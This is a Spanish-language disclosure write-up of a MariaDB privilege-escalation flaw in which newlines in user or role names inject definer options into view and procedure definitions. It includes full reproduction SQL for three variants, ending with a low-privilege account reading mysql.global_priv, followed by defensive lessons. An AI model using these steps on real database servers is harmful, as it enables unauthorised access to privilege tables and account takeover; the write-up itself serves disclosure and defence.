Resumen
MariaDB guarda la definición de las vistas (y de otros objetos como los procedimientos almacenados) en ficheros de formato propio, donde el autor del objeto —el *definer*— se escribe como un valor de texto en bruto (FILE_OPTIONS_STRING). El problema es que el nombre del usuario o del rol que actúa como definer no se saneaba: si ese nombre contenía saltos de línea, el texto inyectado se interpretaba después como si fueran opciones adicionales del fichero de definición.
A partir de ahí, alguien que pueda elegir los nombres de usuario o de rol que se dan de alta en una base de datos —un escenario habitual en entornos multiinquilino o en paneles que provisionan cuentas— podía fabricar un nombre con saltos de línea para cambiar quién figura como definer de una vista o un procedimiento, y así ejecutar SQL con los privilegios de otra cuenta.
El reporte lo recibió el programa de mariadb el 22 de julio de 2026, se resolvió y se divulgó públicamente el 7 de octubre de 2026. Tiene asignado el identificador CVE-2026-107823.
Pasos de reproducción
Vía nombre de usuario
Se crea un usuario cuyo nombre incluye saltos de línea seguidos de las opciones que se quieren inyectar (definer_host y suid):
DROP USER IF EXISTS 'root
definer_host=localhost
suid=1'@'localhost';
CREATE USER 'root
definer_host=localhost
suid=1'@'localhost'
IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON testdb.* TO 'root
definer_host=localhost
suid=1'@'localhost';
FLUSH PRIVILEGES;
Después, conectado como ese usuario (root\ndefiner_host=localhost\nsuid=1), se crea una función que lee una tabla privilegiada y se expone a través de una vista:
DELIMITER //
CREATE OR REPLACE FUNCTION leak()
RETURNS LONGTEXT
DETERMINISTIC
SQL SECURITY INVOKER READS SQL DATA
BEGIN
DECLARE result LONGTEXT;
SELECT JSON_ARRAYAGG(
JSON_OBJECT('Host', Host, 'User', User, 'Priv', Priv)
) INTO result
FROM mysql.global_priv;
RETURN result;
END //
DELIMITER ;
CREATE OR REPLACE VIEW v AS SELECT leak();
La cuenta no puede leer directamente la tabla de privilegios, pero sí a través de la vista, que gracias al definer inyectado se ejecuta con privilegios elevados:
SELECT * FROM mysql.global_priv;
-- ERROR 1142 (42000): SELECT command denied to user 'root
-- definer_host=localhost
-- suid=1'@'localhost' for table `mysql`.`global_priv`
SELECT * FROM v;
-- [{"Host": "localhost", "User": "mariadb.sys", "Priv": {"access":0,"plugin":"mysql_native_password","authentication_string":"","account_locked":true,"password_last_changed":0}},...]
Vía rol
El mismo fallo aparece con los roles. Se crea un rol con saltos de línea en el nombre y se concede a un usuario normal:
CREATE ROLE 'root
definer_host=localhost
suid=1';
GRANT 'root
definer_host=localhost
suid=1' TO 'vortfu'@'localhost';
FLUSH PRIVILEGES;
Después, como vortfu (reutilizando la función leak() anterior), se activa el rol y se crea la vista con DEFINER=CURRENT_ROLE:
SET ROLE 'root
definer_host=localhost
suid=1';
CREATE OR REPLACE DEFINER=CURRENT_ROLE VIEW v AS SELECT leak();
SELECT * FROM v;
-- [{"Host": "localhost", "User": "mariadb.sys", "Priv": {"access":0,"plugin":"mysql_native_password","authentication_string":"","account_locked":true,"password_last_changed":0}},...]
Vía rol con @ y procedimiento almacenado
El investigador señala también una variante relacionada: roles cuyo nombre coincide con el de usuarios existentes combinados con procedimientos que usan DEFINER=CURRENT_ROLE. Se crea un rol llamado root@localhost y se concede a vortfu:
CREATE ROLE 'root@localhost';
GRANT 'root@localhost' TO 'vortfu'@'localhost';
Como vortfu, se activa el rol y se crea un procedimiento que ejecuta SQL arbitrario con seguridad de definer:
SET ROLE `root@localhost`;
CREATE DEFINER=CURRENT_ROLE PROCEDURE `vf-exec`(q TEXT)
SQL SECURITY DEFINER
EXECUTE IMMEDIATE q;
SELECT * FROM mysql.global_priv;
-- ERROR 1142 (42000): SELECT command denied to user 'vortfu'@'localhost' for table `mysql`.`global_priv`
CALL `vf-exec`('SELECT * FROM mysql.global_priv');
-- | localhost | mariadb.sys | {"access":0,"plugin":"mysql_native_password","authentication_string":"","account_locked":true,"password_last_changed":0}
-- ...
El procedimiento, al correr con los privilegios del definer suplantado, devuelve el contenido de mysql.global_priv, que la cuenta vortfu no podía consultar por sí misma.
Impacto
Un usuario que pueda elegir los nombres de usuario o de rol que se dan de alta puede ejecutar SQL con los privilegios de otra cuenta. En el caso demostrado, una cuenta sin acceso a mysql.global_priv termina leyendo esa tabla de privilegios a través de una vista o un procedimiento cuyo definer ha sido manipulado, lo que abre la puerta a una escalada de privilegios dentro del servidor de base de datos.
Qué aprender de este caso
- Cuando un identificador controlado por el usuario (nombre de usuario, rol, etiqueta) se almacena en un formato de texto estructurado por líneas —ficheros de configuración,
.frm/definiciones de objetos, cabeceras—, revisa qué pasa si contiene\n: un salto de línea puede convertir un simple nombre en opciones de configuración inyectadas. - En bases de datos, el campo definer de vistas, funciones y procedimientos (
SQL SECURITY DEFINER,DEFINER=CURRENT_ROLE) es un punto crítico de escalada: si el valor del definer se deriva de datos que el atacante controla, puede acabar ejecutando código con privilegios que no le corresponden. - Al provisionar cuentas de forma automática (paneles multiinquilino, APIs de alta de usuarios), valida los nombres de usuario y de rol contra una lista restrictiva de caracteres permitidos antes de pasarlos al motor; no confíes en que el motor los sanee al guardarlos.
- Desconfía de los roles cuyo nombre imita a usuarios existentes o incluye separadores como
@: pueden colisionar con la forma en que el sistema resuelve identidades y usarse para suplantar la cuenta legítima.